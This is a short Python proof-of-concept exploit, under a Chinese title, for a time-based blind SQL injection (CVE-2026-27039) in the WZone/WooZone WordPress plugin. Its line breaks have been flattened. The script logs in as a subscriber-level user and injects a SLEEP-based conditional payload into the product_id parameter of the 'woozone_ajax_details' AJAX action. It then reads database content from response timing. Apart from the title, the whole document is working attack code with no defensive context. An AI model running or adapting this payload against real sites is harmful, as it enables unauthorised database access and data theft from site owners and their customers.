CVE-2026-27039 WZone插件SQL注入漏洞

import requests import time # Target URL (Example) target_url = "https://example.com/wp-admin/admin-ajax.php" # Attacker credentials (Low privilege required) username = "subscriber" password = "password" # Login to get session def login(): session = requests.Session() login_data = { "log": username, "pwd": password, "redirect_to": "", "wp-submit": "Log In", "testcookie": "1" } # Adjust login URL based on target configuration session.post("https://example.com/wp-login.php", data=login_data) return session # Exploit function demonstrating Time-Based Blind SQLi def exploit_sqli(session, payload): # Vulnerable parameter might be 'product_id' or similar based on plugin logic params = { "action": "woozone_ajax_details", "product_id": f"1 AND IF({payload}, SLEEP(5), 0)" # SQL Injection Payload } start_time = time.time() response = session.get(target_url, params=params) end_time = time.time() if end_time - start_time > 5: return True return False if __name__ == "__main__": sess = login() # Check if database user starts with 'r' check_payload = "SUBSTRING(USER(), 1, 1) = CHAR(114)" if exploit_sqli(sess, check_payload): print("[+] Vulnerability confirmed! Condition is True.") else: print("[-] Condition False or request failed.")